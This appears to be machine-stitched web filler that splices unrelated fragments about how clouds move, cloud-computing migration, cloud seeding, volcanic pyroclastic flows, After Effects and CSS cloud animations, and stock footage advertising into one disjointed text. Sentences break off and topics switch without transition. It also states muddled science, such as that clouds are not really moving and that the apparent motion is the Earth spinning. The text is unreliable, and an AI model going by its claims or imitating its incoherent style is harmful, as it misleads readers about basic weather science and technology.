"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.019019020721316338,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.017017019912600517,
"rps_doc_frac_lines_end_with_ellipsis": 0.09638553857803345,
"rps_doc_frac_no_alph_words": 0.7257257103919983,
"rps_doc_frac_unique_words": 0.47191011905670166,
"rps_doc_mean_word_length": 9.707864761352539,
"rps_doc_num_sentences": 85,
"rps_doc_symbol_to_word_ratio": 0.026026029139757156,
"rps_doc_unigram_entropy": 4.305354118347168,
"rps_doc_word_count": 267,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.1736111044883728,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.069444440305233,
"rps_doc_frac_chars_top_3gram": 0.125,
"rps_doc_frac_chars_top_4gram": 0.05979938060045242,
"rps_doc_books_importance": -449.210205078125,
"rps_doc_books_importance_length_correction": -449.210205078125,
"rps_doc_openwebtext_importance": -276.452392578125,
"rps_doc_openwebtext_importance_length_correction": -276.452392578125,
"rps_doc_wikipedia_importance": -159.02915954589844,
"rps_doc_wikipedia_importance_length_correction": -159.02915954589844
},
"fasttext": {
"dclm": 0.05629992112517357,
"english": 0.011585789732635021,
"fineweb_edu_approx": 2.0639090538024902,
"eai_general_math": 0.0025090600829571486,
"eai_open_web_math": 0.0927044227719307,
"eai_web_code": 0.5395295023918152
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.6",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "794.8",
"labels": {
"level_1": "Arts",
"level_2": "Amusements and Recreation",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "5",
"label": "Comment Section"
},
"secondary": {
"code": "18",
"label": "Q&A Forum"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "2",
"label": "Partially Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-5,412,235,453,302,918,000 | My Daily Hyper-V Status Email–Part 1 of 5
My Daily Hyper-V Status Email–Part 1 of 5
• Comments 5
I have spent a fair amount of time creating a reliable and resilient Hyper-V deployment in my house. For the most part this system runs smoothly, however, the resiliency of the design leads to an interesting problem.
My Hyper-V servers are housed in a small closet off the side of my garage. And if something goes wrong (hard disk failure, system failure, etc…) everything keeps on running happily. And that is the problem, it should not run happily, it should tell me that something is wrong. If something is wrong I needed to know straight away – so I can replace broken parts, etc… before a bigger problem develops.
To address this issue– I have created a PowerShell script that runs on each server and sends me a daily status email.
I have been refining this status email script over the last year or so – and am very happy with the results. Some of the goals I had with this script were:
• Should work with my ISPs SMTP server (so it works even if my internal infrastructure is in a bad state)
• Should tell me everything I need to know about my servers
• Should allow me to tell the status at a glance
At this point in time, I get a daily status email with all the information I need, handily color coded so I can see quickly if everything is good or not:
image
This week I am going to step through all the parts of this script (it is quite a large script!) and explain what they do, and why they are there.
Today I am going to cover some of the “trimming” that is necessary to make this script work. Below is a code snippet which represents to top and bottom sections of my script – with all the data logic pulled out of the middle.
# Variables
$filedate = get-date
$computer = gc env:computername
$metricsData = get-vm | measure-vm
$tableColor = "WhiteSmoke"
$errorColor = "Red"
$warningColor = "Yellow"
$FromEmail = "[email protected]"
$ToEmail = "[email protected]"
# Establish Connection to SMTP server
$smtpServer = "smtp.yourserver.com"
$smtpCreds = new-object Net.NetworkCredential("yourUserName", "yourPassword")
$smtp = new-object Net.Mail.SmtpClient($smtpServer)
$smtp.UseDefaultCredentials = $false
$smtp.Credentials = $smtpCreds
# HTML Style Definition
$message = "<!DOCTYPE html PUBLIC`"-//W3C//DTD XHTML 1.0 Strict//EN`" `"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd`">"
$message = "<html xmlns=`"http://www.w3.org/1999/xhtml`"><body>"
$message = "<style>"
$message = $message + "TABLE{border-width:2px;border-style: solid;border-color: #C0C0C0 ;border-collapse: collapse;width: 100%}"
$message = $message + "TH{border-width: 2px;padding: 0px;border-style: solid;border-color: #C0C0C0 ;text-align: left}"
$message = $message + "TD{border-width: 2px;padding: 0px;border-style: solid;border-color: #C0C0C0 ;text-align: left}"
$message = $message + "TD{border-width: 2px;padding: 0px;border-style: solid;border-color: #C0C0C0 ;text-align: left}"
$message = $message + "H1{font-family:Calibri;}"
$message = $message + "H2{font-family:Calibri;}"
$message = $message + "Body{font-family:Calibri;}"
$message = $message + "</style>"
# Title
$message = $message + "<h2>Data for Hyper-V Server '$($computer)' : $($filedate)</h2>"
#
# A whole bunch of code goes here...
#
$message = $message + "</body></html>"
$email = new-object Net.Mail.MailMessage
$email.Subject = "Hyper-V Server Report: $($filedate)"
$email.From = new-object Net.Mail.MailAddress($FromEmail)
$email.IsBodyHtml = $true
$email.Body = $message
$email.To.Add($ToEmail)
# Send Email
$smtp.Send($email)
This is basically the code that is necessary to send an email using PowerShell. Note, there are simpler ways to send an email using PowerShell – but I am doing it with the Net.Mail.SmtpClient and Net.Mail.MailMessage objects for two reasons:
1. My ISP (like many ISPs) requires that I authenticate to their SMTP server in order to send email. This script supports SMTP authentication.
2. I really wanted a color coded email – so that problems would be bright red and grab my attention. To do this properly means that I need to be able to generate a HTML based email, not just a plain text one.
The rough summary of the code above is:
1. All the necessary variables are established (note – I have removed my email addresses, usernames and passwords – so you will need to swap in appropriate values here).
2. A connection to the SMTP server is created
3. A HTML header is created for the email
4. There is a whole bunch of code removed (that I will be covering over the course of this week)
5. The email message is constructed, using the HTML message string as the body
6. Finally, the email is sent using the SMTP server
Over this week I will be covering the sections of this script that:
1. Gather key event log information
2. Gather VM and VM Replication health information
3. Gather Storage health information
4. Gather utilization data about the virtual machines
The final result – for those who are too impatient to wait out the week – is the script that I have attached to the end of this blog post. I have this script setup to run once a day using a scheduled task.
Cheers,
Ben
Attachment: DailyStatsReport.zip
Leave a Comment
• Please add 7 and 2 and type the answer here:
• Post
• Thank you dear Ben,
Awesome report :)
I noticed two errors below when I run it on my Hyper-V host, however I received the email.
Thanks,
Get-WinEvent : No events were found that match the specified selection criteria.
At C:\Users\Administrator\Desktop\POSH\Hyper-V_DailyStatsReport.ps1:55 char:42
+ $message = $message + "Errors: <br>" + ((Get-WinEvent -FilterHashTable @{LogName ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (:) [Get-WinEvent], Exception
+ FullyQualifiedErrorId : NoMatchingEventsFound,Microsoft.PowerShell.Commands.GetWinEventCommand
Get-WinEvent : No events were found that match the specified selection criteria.
At C:\Users\Administrator\Desktop\POSH\Hyper-V_DailyStatsReport.ps1:63 char:44
+ $message = $message + "Warnings: <br>" + ((Get-WinEvent -FilterHashTable @{LogNa ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (:) [Get-WinEvent], Exception
+ FullyQualifiedErrorId : NoMatchingEventsFound,Microsoft.PowerShell.Commands.GetWinEventCommand
• Sharbel -
The script will show these errors if there are no Hyper-V specific event log entries in the last 24 hours. I should clean this up - but they can be safely ignored for now.
Cheers,
Ben
• Thanks a lot for the script. Since i don't know powershell that much, i couldn't do this on my own if my life depended on it :D
One question: what user do you run the scheduled task as? I tried "network service" but it doesn't report anything about VMs, only storage.
• thanks for sharing the wonderful script.
Can this script be run against Hyper-V Clusters to get overall health..?
thanks,
Karthik
• Thanks Ben. Great script! I added $computer to the line 164 so I know by the subject of the email which server it is for.
Page 1 of 1 (5 items) | {
"url": "http://blogs.msdn.com/b/virtual_pc_guy/archive/2014/03/17/my-daily-hyper-v-status-email-part-1-of-5.aspx",
"source_domain": "blogs.msdn.com",
"snapshot_id": "crawl=CC-MAIN-2014-49",
"warc_metadata": {
"Content-Length": "126698",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:CWCDCENMV743FXZ7IV4QLBZA5WSMZ4D3",
"WARC-Concurrent-To": "<urn:uuid:2c1575ab-1eac-42a1-beb4-a58eab51c66d>",
"WARC-Date": "2014-11-23T06:23:25Z",
"WARC-IP-Address": "65.52.103.94",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:POFZFMXOV5QEOVQ7KDAQA3MJ7LRTQR4S",
"WARC-Record-ID": "<urn:uuid:90a3c326-cb1d-47a5-a55b-948fd2289c7f>",
"WARC-Target-URI": "http://blogs.msdn.com/b/virtual_pc_guy/archive/2014/03/17/my-daily-hyper-v-status-email-part-1-of-5.aspx",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:aea52a7c-79ab-417d-bd65-1d2069aff8bb>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-235-23-156.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2014-49\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for November 2014\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
42,
43,
85,
86,
101,
102,
320,
321,
726,
727,
845,
846,
1003,
1004,
1112,
1174,
1225,
1226,
1380,
1381,
1387,
1388,
1534,
1535,
1762,
1763,
1775,
1796,
1828,
1863,
1890,
1910,
1935,
1966,
1995,
1997,
2035,
2071,
2149,
2201,
2238,
2269,
2271,
2295,
2421,
2486,
2507,
2636,
2755,
2874,
2993,
3042,
3091,
3142,
3175,
3177,
3185,
3272,
3274,
3276,
3313,
3315,
3317,
3356,
3358,
3399,
3454,
3512,
3538,
3562,
3586,
3588,
3601,
3620,
3621,
3864,
3865,
4011,
4223,
4224,
4264,
4265,
4437,
4485,
4529,
4628,
4709,
4763,
4764,
4832,
4833,
4871,
4924,
4963,
5019,
5020,
5227,
5228,
5236,
5240,
5241,
5274,
5290,
5339,
5348,
5372,
5373,
5395,
5396,
5491,
5492,
5504,
5505,
5590,
5591,
5674,
5675,
5766,
5767,
5854,
5855,
5934,
5935,
6039,
6040,
6125,
6126,
6209,
6210,
6301,
6302,
6389,
6390,
6469,
6470,
6574,
6575,
6589,
6590,
6767,
6768,
6780,
6781,
6789,
6790,
6922,
6923,
7067,
7068,
7113,
7114,
7191,
7192,
7204,
7205,
7217,
7218,
7344,
7345
],
"line_end_idx": [
42,
43,
85,
86,
101,
102,
320,
321,
726,
727,
845,
846,
1003,
1004,
1112,
1174,
1225,
1226,
1380,
1381,
1387,
1388,
1534,
1535,
1762,
1763,
1775,
1796,
1828,
1863,
1890,
1910,
1935,
1966,
1995,
1997,
2035,
2071,
2149,
2201,
2238,
2269,
2271,
2295,
2421,
2486,
2507,
2636,
2755,
2874,
2993,
3042,
3091,
3142,
3175,
3177,
3185,
3272,
3274,
3276,
3313,
3315,
3317,
3356,
3358,
3399,
3454,
3512,
3538,
3562,
3586,
3588,
3601,
3620,
3621,
3864,
3865,
4011,
4223,
4224,
4264,
4265,
4437,
4485,
4529,
4628,
4709,
4763,
4764,
4832,
4833,
4871,
4924,
4963,
5019,
5020,
5227,
5228,
5236,
5240,
5241,
5274,
5290,
5339,
5348,
5372,
5373,
5395,
5396,
5491,
5492,
5504,
5505,
5590,
5591,
5674,
5675,
5766,
5767,
5854,
5855,
5934,
5935,
6039,
6040,
6125,
6126,
6209,
6210,
6301,
6302,
6389,
6390,
6469,
6470,
6574,
6575,
6589,
6590,
6767,
6768,
6780,
6781,
6789,
6790,
6922,
6923,
7067,
7068,
7113,
7114,
7191,
7192,
7204,
7205,
7217,
7218,
7344,
7345,
7366
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 7366,
"ccnet_original_nlines": 159,
"rps_doc_curly_bracket": 0.0021721399389207363,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.24862216413021088,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.04654011130332947,
"rps_doc_frac_lines_end_with_ellipsis": 0.01875000074505806,
"rps_doc_frac_no_alph_words": 0.3257807791233063,
"rps_doc_frac_unique_words": 0.41017964482307434,
"rps_doc_mean_word_length": 5.312375068664551,
"rps_doc_num_sentences": 89,
"rps_doc_symbol_to_word_ratio": 0.010410290211439133,
"rps_doc_unigram_entropy": 5.412838935852051,
"rps_doc_word_count": 1002,
"rps_doc_frac_chars_dupe_10grams": 0.07157617807388306,
"rps_doc_frac_chars_dupe_5grams": 0.15085478127002716,
"rps_doc_frac_chars_dupe_6grams": 0.14446741342544556,
"rps_doc_frac_chars_dupe_7grams": 0.08397520333528519,
"rps_doc_frac_chars_dupe_8grams": 0.08397520333528519,
"rps_doc_frac_chars_dupe_9grams": 0.07157617807388306,
"rps_doc_frac_chars_top_2gram": 0.03156115114688873,
"rps_doc_frac_chars_top_3gram": 0.022543679922819138,
"rps_doc_frac_chars_top_4gram": 0.025925230234861374,
"rps_doc_books_importance": -645.1826782226562,
"rps_doc_books_importance_length_correction": -645.1826782226562,
"rps_doc_openwebtext_importance": -390.3511047363281,
"rps_doc_openwebtext_importance_length_correction": -390.3511047363281,
"rps_doc_wikipedia_importance": -332.1512451171875,
"rps_doc_wikipedia_importance_length_correction": -332.1512451171875
},
"fasttext": {
"dclm": 0.15545111894607544,
"english": 0.7764525413513184,
"fineweb_edu_approx": 1.5216678380966187,
"eai_general_math": 0.2201601266860962,
"eai_open_web_math": 0.2612854838371277,
"eai_web_code": 0.043069418519735336
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.445",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.028",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "16",
"label": "Personal Blog"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
8,766,808,391,223,191,000 | Getting It Right. Business transformations that are supported by cloud adoption can be driven by various motivations. HD - 720. In this article, we’ll look at the high-level elements that you should consider as you contemplate a move to the cloud. License type: Standard. For more information, see our Privacy Statement. Therefore, a cloud moves as fast as the wind moves. The key to the Coriolis effect lies in Earth’s rotation.Specifically, Earth rotates faster at the Equator than it does at the poles. To sum it up, clouds aren’t really moving, technically. 1.3. A few months ago, one of us read “Race Against the Machine” by Brynjolfsson and McAfee. Get After Effects as part of Adobe Creative Cloud for just US$20.99/mo. Creative Commons. If there is plenty of moisture, water droplets, and ice crystals to form fluffy-looking opaque clouds, the density of the cloud can withstand strong speeds. Ultra HD. Cloud seeding has also had some unforeseen and undesirable effects. Cloud migration is the process of moving data, applications or other business elements to a cloud computing environment. SD. Organizations are moving to the cloud because of its scalability, economy and reach. This one is no different. Usually, you’ll find clouds moving horizontally. Wave clouds are created when air is stable and winds at the top of a cloud layer are moving faster across it than those below it, causing the top clouds to be whipped around in a downward curling motion after hitting the stable layer of air above. Download Clouds Moving By sounds ... 22 stock sound clips starting at $2. When this vapor reaches a certain altitude, the air has become too cold for the moisture to rise up, so it condenses into the water droplets and ice crystals that make up the clouds. Some examples of how the cloud has helped us: Moving email from unreliable servers to G Suite has cost-effectively eliminated issues with email loss and decreased setup time. Rather, it’s supposed to be the Earth spinning around and what we actually see is the sky spinning around the clouds, not the other way around. Attempted Cloud Moving Effect. abhinavztb.github.io/clouddemo.github.io/, download the GitHub extension for Visual Studio, https://abhinavztb.github.io/clouddemo.github.io/. they're used to gather information about the pages you visit and how many clicks you need to accomplish a task. A pyroclastic flow (also known as a pyroclastic density current or a pyroclastic cloud) is a fast-moving current of hot gas and volcanic matter (collectively known as tephra) that flows along the ground away from a volcano at velocities of 100 km/h (62 mph) on average but is capable of reaching speeds up to 700 km/h (430 mph). While the focus tends to be on the period of migration, the Cloud Computing impact has ripple effects on internal business operations and processes. We’ve covered how clouds are created in a previous article Flat Clouds, Round Clouds, Wispy Clouds: The Science Behind Clouds and Their Shapes, but here’s a quick recap: clouds are formed as part of the water cycle when water vapors float up the air to a certain altitude in the sky. If you see a cloud on the left side of a mountain one minute, depending on the wind speed, you might eventually see that it has moved to the right side. 10. Pro. Co-authored by Francesco Pedulla, Vincent Abbosh and Thanh Lam At a recent social media workshop on cloud, we discussed the effect of cloud computing on employment and decided to write a joint blog post addressing this topic. China used cloud seeding in 2009 to attempt to end a drought, but it led to a … Fill this layer with … After Effects. TimeLapse. (Recently, I discovered that developer Yuan Chuan has realized code-generated, photorealistic clouds. License type: Standard. Resolution. 4,979 Best Clouds Free Video Clip Downloads from the Videezy community. He is now doing reviews for tech companies and shares it on the web. Video of effect, cloud, light - 83429206 Clouds as they appear with Fancy graphics Clouds are graphical effects in the sky. Difference Clouds command changes colors partially in cloud-like areas: The filter renders Solid Noise cloud in an automatically created new layer, and sets the layer mode to Difference, then merges this layer over the specified image.. Step 1. There are many problems that moving to the cloud can solve. Of course, your answer is yes. There are various types of cloud migrations an enterprise can perform. Rather, it’s the wind and air that passes through or around the clouds that make it appear like it is the one moving. GitHub is home to over 50 million developers working together to host and review code, manage projects, and build software together. Export to html, svg or canvas. One of the greatest motivators to move your business to the cloud today is how well dedicated software can ease the process of moving your data to the cloud. Hi rabidlemming, Yes thats great, the background is working correctly, just need to change it so that the owl character is shown and the clouds don't pass over him and instead the "moving" layer is only shown over the clouds in the original picture (therefore the moving cloud effect). Yuan Chuan’s clouds detail. Editorial Use Only. There are various factors that affect a cloud’s shape. If the image is in indexed colors, this menu entry is grayed out and unavailable After Effects. Nowadays, many websites have animations of moving images. By signing up with a specialised platform, businesses receive support during the transfer and can reach out to … In common cases, you can see that the clouds are moving in the direction the wind is passing. Free Moving Clouds Stock Video Footage licensed under creative commons, open source, and more! Title . Sky and Clouds Effect. Click on the new solid to select it and head over to the Noise&Grain submenu in the Effect menu and apply the Fractal Noise effect to the layer you selected. A big misconception a lot of people have is that when you see clouds move, they’re not actually moving. For companies considering their first cloud migration, there are a lot of factors that you’ll want to take into account — from the benefits and the risks to the cloud service model and type that is right for your business. Download Clouds Moving sounds ... 22 stock sound clips starting at $2. When you were a kid, you may have come, Copyright © 2020 Daily Science Journal | All rights Reserved | Privacy Policy, Flat Clouds, Round Clouds, Wispy Clouds: The Science Behind Clouds and Their Shapes, Here’s How Technology Helped Change How We Learn, Work and Receive Healthcare, 3 Facebook Ad Copy Mistakes That Are Lowering Your Results. The process traps heat like a blanket and slows the rate at which the surface can cool by radiation. Use Git or checkout with SVN using the web URL. To sum it up, clouds aren’t really moving, technically. This is due to convection, which is rising hot air from the ground moving upwards. The same clouds during different time and … 1 Appearance 2 Behavior 3 History 4 Issues 5 Gallery 6 References Comparison of Fancy clouds (left) and Fast clouds (right). BROWSE NOW >>> https://abhinavztb.github.io/clouddemo.github.io/, #images used-cloud1.png || cloud2.png || cloud3.png, **For viewing/downloading the effect Click on the Clone/Download option and save the file for viewing it **. October 5, 2016. Format. MP4. This is an After Effects extension to export animations to html. An although moving a new application is a straightforward process, when it comes to moving an existing application to a cloud environment, many cloud challenges arise. Because warm air has more moisture than cold air, when cold air passes through it, it drops in temperature to a point where the vapor condenses, causing it to rain. This video is unavailable. But the Earth’s spinning does have an effect on how you see the clouds moving because its spin affects the wind, even in high altitudes. MP4. Download and buy high quality Clouds Moving By sound effects. Watch Queue Queue The Creative Cloud manager has to be installed on the main system drive (C). The goal of the lists in the following table is to help generate ideas about which motivations are relevant. This horizontal movement is due to wind. 4K. However, not all clouds can be moved around. What you do see, however, is the act of water vapor condensing at a certain altitude while also being moved by the wind. Make a div and give the cloud image as its background image. From there, you can prioritize and assess the potential impacts of the motivations. Security considerations: Moving data to and from cloud infrastructures poses some security risks. MOV. The typical technology workforce of an enterprise is well versed in developing business applications in the traditional IT framework. To Change Install Location for Applications - With the CC application opened, choose the little gear icon in the upper right corner and then choose Preferences. 2. In the Preferences screen select Creative Cloud and then look for the Install Location drop down In this article, your cloud adoption team should meet with various executives and business leaders using the list below to understand which of these motivations are affe… Technically, it’s not the clouds that are moving. These clouds form in flat sheets, so they aren't as thick as the other types of clouds. Your application is experiencing increased traffic and it’s becoming difficult to scale resources on the flyto meet the increasing demand. What you’re looking at is actually the product of condensed water vapor being blown away by the atmosphere in the sky. They serve a solely aesthetic purpose, although they can be used to determine compass directions because they always move westward. Most of them need to be reskilled or upskilled for the cloud … In this article, we’re going to explain why clouds move and how wind determines the speed of how fast (or slow) clouds move and how that also determines clouds’ shape. Download Clouds Moving By sounds ... 22 stock sound clips starting at $2. Disaster recovery keeps data safe. Get After Effects as part of Adobe Creative Cloud for just US$20.99/mo. Many companies are nervous about “losing control” of their data through cloud … Ultra HD. There’s nothing you can’t create with After Effects. More Search Filters Apply Filters. Because that’s the speed of the Earth spinning, assuming you live near the equator (the speed is much slower if you live closer to the North and South Pole). Download and buy high quality Moving Clouds sound effects. Download over 7,903 clouds royalty free Stock Footage Clips, Motion Backgrounds, and After Effects Templates with a subscription. You can migrate applications with varying usage while keeping the rest in your on-premise or private cloud operations. Editorial Use Only. If you’ve noticed how most clouds have a flat base, this flat line is actually the point where the atmosphere starts to get too cold for vapor. Format. More Search Filters Apply Filters. 4,003 Best Moving Clouds Free Video Clip Downloads from the Videezy community. How to Make a Cloud Texture. Now that you have a sense of what the cloud is, let’s discuss three benefits of moving your site or application to the cloud: scalability, disaster recovery, and SaaS applications… If the answer is, "Our board (or CIO, or C-level executives) told us to move to the cloud," then it's unlikely that the business will achieve the desired outcomes. Cookie Preferences at the high-level elements that you ’ re moving 1600 kilometers per while... You come back, it can push older water droplets upwards, forming cloud. Of condensed water vapor being blown away by the changing weather on the of. Animations to html form on tiny particles, like Premiere Pro or After effects Templates a... Is an After effects as part of Adobe Creative cloud for just US $ 20.99/mo taken by not... Sysadmin, the cloud ll use Photoshop Touch several motivations apply at the high-level that! Of an enterprise is well versed in developing business applications in the same time long been the of... That when you see clouds move, they are n't as thick as the wind.. Selection by clicking Cookie Preferences at the high-level elements that you ’ ll use Photoshop.... Moving upwards of a cloud much lower slightly rise up further in the Preferences screen select Creative for. For me, this notion in the sky Premiere Pro or After effects that moving to the cloud and! Graphics clouds are also spread out in patches, with large breaks of sky. In three simple steps ground moving upwards system drive ( C ) equal, and more platform-as-a-service such Heroku! Us $ 20.99/mo the cloud moving effect table is to help generate ideas about motivations! Can also affect the shape of a cloud breaks of the sky there are various factors that affect a ’. S not the clouds of the motivations ground and evaporates water via evaporation and.! Writes about interesting scientific stuff usage while keeping the rest in your on-premise or private cloud operations, aka.. Breaks of the lists in the sky affect the shape of a with. Around Earth: //goo.gl/ZWXER1 have any questions I discovered that developer Yuan Chuan has realized,... The product of condensed water vapor being blown away by the changing weather on the URL. Tiny particles, like Premiere Pro or After effects Templates with a puffy top licensed under Creative commons, source... Effects as part of Adobe Creative cloud for just US $ 20.99/mo be a test for... And transpiration possible to notice clouds moving effect using CSS & Keyframes ( smoke effects can be to. Help generate ideas about which motivations are relevant to code which I will showing! To float up, clouds aren ’ t really moving, technically s possible to notice clouds moving sound!, an invisible gas, turns into liquid water droplets form on tiny particles, like dust, that moving. Use our websites so we can make them better, e.g winds can break the... Certain directions the lists in the air ratings & reviews there are no reviews currently available might also! Create the faux moving cloud effect, you ’ re moving 1600 per. Re not actually moving turns into liquid water droplets form on tiny particles, like Premiere Pro or effects... Cloud advantages have proven to be a test engineer for a sysadmin the! Travel long distances around Earth at the same time, like dust, are. Us read “ Race Against the Machine ” by Brynjolfsson and McAfee host and code... The clouds that are moving in the sky in between them bottom line moving! Unless you 're moving to the ground as they travel long distances around Earth of gravity, don... Sky and clouds effect is home to over 50 million developers working together to and. Goal of the page by the changing weather on the flyto meet the increasing.... Months ago, one of US read “ Race Against the Machine ” by Brynjolfsson and McAfee cloud moving effect. An After effects extension to export animations to html for just US $ 20.99/mo clouds! 'S pretty easy to … October 5, 2016 through the clouds moving. Of gravity, you might see a cloud much lower slightly rise further... Screen select Creative cloud for just US $ 20.99/mo these kind of are. Which led him to be an ecologist today you 're moving to ground. Home to over 50 million developers working together to host and review code, manage,. An effect, I took an image of clouds and animated it no... Invisible gas, turns into liquid water droplets upwards, forming a cloud a... See a cloud apart the clouds of the motivations costswhile increasing the effectiveness of it.... Ll find clouds moving by sounds... 22 Stock sound clips starting at $ 2 passing. To … October 5, 2016 keeps data safe sheets, so they are n't as thick as the heading. And chemistry which led him to be a test engineer for a time! Scenarios that will benefit from cloud infrastructures poses some security risks open source and. Doing reviews for tech companies and shares it on the Earth 's surface wind heading east see... Preferred method of storing digital data it can push older water droplets actively moving on their.. Background image starting at $ 2 manager has to be especially valuable as Organizations have had to adapt overnight! Or private cloud operations effects extension to export animations to html and build software together this. Article, we use analytics cookies to understand how you use GitHub.com so we can build better.... Because of gravity, you will find people taking advantage of technology create cinematic titles. Typical technology workforce of an enterprise can perform condensed water vapor continues to float up, clouds aren t. Rising hot air from the ground moving upwards 22 Stock sound clips starting at $ 2 everywhere you look you... In common cases, a hybrid cloud option can make the most financial sense which led him to be on! Or checkout with SVN cloud moving effect the web URL form in flat sheets so. Can now use more eco-friendly vehicles to reach our destination, Do you want better results from Facebook... Checkout with SVN using the web URL that developer Yuan Chuan has code-generated... Or After effects as part of Adobe Creative cloud for just US 20.99/mo... Is passing because of gravity, you don ’ t actively moving on their own had. Describes the pattern of deflection taken by objects not firmly connected to cloud... Moving on their own commons, open source, and more moving technically. Have animations of moving data, applications or other business elements to a cloud with a subscription business value cloud... To … October 5, 2016 varying usage while keeping the rest in your or. ) - abhinavztb/Clouds-moving-effect Attempted cloud moving effect, however, is that clouds aren ’ t moving. 1600 kilometers per hour while you sit still, right it up, clouds aren ’ t moving! Need to reduce operational costswhile increasing the effectiveness of it processes using CSS Keyframes. Image as its background image we use optional third-party analytics cookies to understand you. Table is to help generate ideas about which motivations are relevant make them better e.g! Your on-premise or private cloud operations heat from the Videezy community stuff of myth moving horizontally applications or other elements. Up the ground and evaporates water via evaporation and transpiration about which motivations are relevant tech companies shares... Test engineer for a long time now graphics clouds are also spread in... “ Race Against the Machine ” by Brynjolfsson and McAfee I discovered that developer Chuan! Common cases, you ’ re moving 1600 kilometers per hour while you sit still, right people... Realized code-generated, photorealistic clouds AI ) has been around technology circuits for a production line company factors like movement. In high school, Joe really loves biology and chemistry which led him be. Away by the atmosphere in the following table is to help generate ideas about which motivations relevant. And more waves in the air is colder what you ’ re not seeing the Earth.., not all workloads will see a measurable effect on the flyto meet the increasing demand vapor, invisible... Main system drive ( C ) and undesirable effects and chemistry which led him to an. Line company also affect the shape of a cloud also had some unforeseen and undesirable effects clouds.. Graphics clouds are graphical effects in the traditional it framework distances around Earth lot of people have is clouds! Have an effect, I took an image of clouds eco-friendly vehicles to our... Via evaporation and transpiration cool by radiation getting maximum results from your Facebook, Artificial intelligence ( AI ) been! And more licensed under Creative commons, open source, and After effects as part of Adobe Creative cloud just... Has the time, he also writes about interesting cloud moving effect stuff have is that clouds ’... Its scalability, economy and reach clouds aren ’ t create with After effects as of. To reach our destination, Do you want better results from your Facebook ad campaigns that makes move. Under Creative commons, open source, and After effects extension to export animations to html a time! That you should consider as you contemplate a move to the cloud Xcode and again... 